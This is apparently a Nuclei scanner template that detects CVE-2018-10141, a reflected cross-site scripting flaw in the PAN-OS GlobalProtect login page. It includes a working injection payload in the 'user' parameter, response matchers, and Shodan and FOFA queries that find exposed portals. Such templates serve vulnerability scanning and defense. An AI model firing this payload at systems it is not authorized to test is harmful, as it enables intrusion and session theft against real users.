id: CVE-2018-10141

info:
  name: Palo Alto Networks PAN-OS GlobalProtect <8.1.4 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: Palo Alto Networks PAN-OS before 8.1.4 GlobalProtect Portal Login page allows an unauthenticated attacker to inject arbitrary JavaScript or HTML, making it vulnerable to cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Upgrade to Palo Alto Networks PAN-OS GlobalProtect VPN client version 8.1.4 or later to mitigate this vulnerability.
  reference:
    - https://security.paloaltonetworks.com/CVE-2018-10141
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10141
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-10141
    cwe-id: CWE-79
    epss-score: 0.44152
    epss-percentile: 0.97601
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: paloaltonetworks
    product: pan-os
    shodan-query:
      - http.favicon.hash:"-631559155"
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
    fofa-query: icon_hash="-631559155"
  tags: cve,cve2018,panos,vpn,globalprotect,xss,paloaltonetworks,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/global-protect/login.esp?user=j%22;-alert(1)-%22x'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'var valueUser = "j";-alert(1)-"x";'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a58ea40b4fb69a3f5c743ac91a61154c0200ac6979ba4e8a7c645c95a090719c022074f89d9988d4489c33e79f18763d0ea2cd14b4267ca36559e24e1ad4ab098c2b:922c64590222798bb761d5b6d8e72950